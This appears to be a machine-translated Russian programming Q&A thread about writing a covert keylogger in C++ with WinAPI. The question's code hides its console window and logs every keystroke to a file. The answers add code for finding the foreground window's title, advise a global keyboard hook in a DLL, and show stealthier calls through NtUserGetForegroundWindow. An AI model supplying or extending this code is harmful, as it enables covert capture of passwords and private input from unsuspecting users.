Я пытаюсь написать простой кейлоггер на C ++, используя WinAPI. Есть ли способ узнать, в каком приложении пользователь печатает захваченные нажатия клавиш?
И вот мой код:
#include <iostream>
#include <windows.h>
#include <winuser.h>
using namespace std;
int main()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
{
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen("LOG.txt", "a+");
int c=static_cast<int>(i);
fprintf(OUTPUT_FILE, "%s", &c);
fclose (OUTPUT_FILE);
}
}
}
system ("PAUSE");
return 0;
}
Поскольку вопрос «Есть ли способ узнать, в каком приложении пользователь печатает захваченные нажатия клавиш?», Я бы сказал, использовать HWND WINAPI GetForegroundWindow (void);
Например:
char cWindow[MAX_PATH];
GetWindowTextA(GetForegroundWindow(), cWindow, sizeof(cWindow));
В cWindow вы получаете заголовок окна, в котором печатает пользователь.
То, что вы хотите, это глобальная клавиатура крюк
Глобальный хук контролирует сообщения для всех потоков на том же рабочем столе, что и
вызывающая нить. Хук, зависящий от потока, отслеживает сообщения только
индивидуальная нить. Глобальная подключаемая процедура может быть вызвана в
контекст любого приложения на том же рабочем столе, что и вызывающий поток,
поэтому процедура должна быть в отдельном модуле DLL. Специфичный для потока
Подключаемая процедура вызывается только в контексте связанного потока.
Если приложение устанавливает подключаемую процедуру для одного из своих
процедура подключения может находиться в том же модуле, что и
Остальной код приложения или в DLL. Если приложение
устанавливает процедуру подключения для потока другого приложения,
Процедура должна быть в DLL. Для получения информации см. Dynamic-Link.
Библиотеки.
Быть легкомысленным скрытно Я бы порекомендовал использовать NtUserGetForegroundWindow, чтобы сэкономить память, получить длину текста окна и использовать alloca для выделения памяти на стек.
typedef HWND(__stdcall * NtUserGetForegroundWindowType)(void);
HMODULE hModule = GetModuleHandleA("win32u.dll");
NtUserGetForegroundWindowType NtUserGetForegroundWindow = reinterpret_cast<NtUserGetForegroundWindowType>(GetProcAddress(hModule, "NtUserGetForegroundWindow"));
HWND hWnd = NtUserGetForegroundWindow();
size_t lenght = GetWindowTextLengthW(hWnd) + 1; // + 1-byte for null
LPWSTR szText = static_cast<LPWSTR>(alloca(lenght * sizeof(wchar_t))); // Allocates memory for string on stack
GetWindowTextW(hWnd, szText, lenght);